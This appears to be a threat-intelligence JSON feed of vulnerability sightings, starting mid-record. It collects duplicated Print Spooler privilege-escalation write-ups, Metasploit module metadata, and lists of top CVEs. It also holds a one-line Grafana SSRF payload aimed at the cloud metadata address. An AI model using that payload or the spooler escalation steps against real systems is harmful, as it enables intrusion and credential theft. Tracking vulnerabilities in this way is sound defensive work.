talks to spooler. It provides the RPC stubs required to accessing the server.&lt;o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)&lt;o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.&lt;o:p Spool Directory&lt;o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.&lt;o:p\n\n&lt;o:p Workflow of the CVE 2020-1030&lt;o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.&lt;o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.&lt;o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. &lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.&lt;o:p\n\n\u00b7 An unprivileged user will [...]", "creation_timestamp": "2026-09-06T08:00:07.148579Z"}, {"uuid": "da7f6566-eda4-4866-b676-8f398750a540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "creation_timestamp": "2026-09-06T08:00:07.358684Z"}, {"uuid": "a55a8fb5-bd44-4305-bb9a-73acacebbe0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction&lt;o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.&lt;o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999&lt;o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048&lt;o:p Summary of the Vulnerability&lt;o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.&lt;o:p Print Spooler Basics&lt;o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:&lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).&lt;o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.&lt;o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.&lt;o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)&lt;o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.&lt;o:p Spool Directory&lt;o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.&lt;o:p\n\n&lt;o:p Workflow of the CVE 2020-1030&lt;o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.&lt;o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.&lt;o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. &lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.&lt;o:p\n\n\u00b7 An unprivileged user will [...]", "creation_timestamp": "2026-09-07T01:00:29.492809Z"}, {"uuid": "b5cd692d-5993-44cb-b5cf-7a07fd20c566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "creation_timestamp": "2026-09-07T01:00:29.707781Z"}, {"uuid": "c9a6416c-2e9a-4658-a8c8-0fe46d19cf28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86, x64\", \"author\": [\"Peleg Hadar\", \"Tomer Bar\", \"404death\", \"sailay1996\", \"bwatters-r7\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This exploit leverages a file write vulnerability in the print spooler service\\n          which will restart if stopped.  Because the service cannot be stopped long\\n          enough to remove the dll, there is no way to remove the dll once\\n          it is loaded by the service.  Essentially, on default settings, this module\\n          adds a permanent elevated backdoor.\", \"disclosure_date\": \"2019-11-04\", \"fullname\": \"exploit/windows/local/cve_2020_1337_printerdemon\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:46 +0000\", \"name\": \"Microsoft Spooler Local Privilege Elevation Vulnerability\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"windows/local/cve_2020_1337_printerdemon\", \"references\": [\"CVE-2020-1337\", \"URL-https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337\", \"URL-https://github.com/sailay1996/cve-2020-1337-poc\", \"URL-https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/\"], \"rport\": null, \"session_types\": [\"meterpreter\"], \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:08.234727Z"}, {"uuid": "cb9d6961-f0e6-42c0-bb89-7371eb2b987a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-11T06:00:05.945799Z"}, {"uuid": "c8510c0c-32f7-491f-9d94-cd489397687a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-11T07:00:04.040163Z"}, {"uuid": "befaf987-42ba-4d0a-9aed-557d1d6ab3f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-11T09:00:05.012126Z"}, {"uuid": "22820f3f-31a7-468a-8886-fd36a51add6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-11T16:00:05.671101Z"}, {"uuid": "46bd63e6-4c88-488e-bd08-0d12401c12ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-12T00:00:37.016904Z"}, {"uuid": "caaa8246-b8fe-4a26-bb69-81bd4803d34d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-12T00:00:44.950689Z"}, {"uuid": "e7346b9c-ca38-45cb-b725-305c2f23a92d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-12T00:00:48.279574Z"}, {"uuid": "3d5064ca-3c38-4024-b6df-0d939d817c7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-12T00:00:50.998812Z"}, {"uuid": "c135a72a-c3f6-4fc0-b891-b56df5c0eb9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/cissp/1030", "content": "CVE-2020-13379:\nUnauthenticated Full-Read SSRF in Grafana 3.0.1 - 7.0.1\ud83d\ude01\nhttps://rhynorater.github.io/CVE-2020-13379-Write-Up\n\nPoC:\n/avatar/tesdt%3Fd=http://redirect.rhynorater.com%25253f%253b%http://252fbp.blogspot.com%252f169.254.169.254", "creation_timestamp": "2026-09-12T02:00:04.448940Z"}, {"uuid": "2878c548-44bf-454f-9301-13e4193a2e5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/cissp/1030", "content": "CVE-2020-13379:\nUnauthenticated Full-Read SSRF in Grafana 3.0.1 - 7.0.1\ud83d\ude01\nhttps://rhynorater.github.io/CVE-2020-13379-Write-Up\n\nPoC:\n/avatar/tesdt%3Fd=http://redirect.rhynorater.com%25253f%253b%http://252fbp.blogspot.com%252f169.254.169.254", "creation_timestamp": "2026-09-13T00:00:59.639113Z"}]}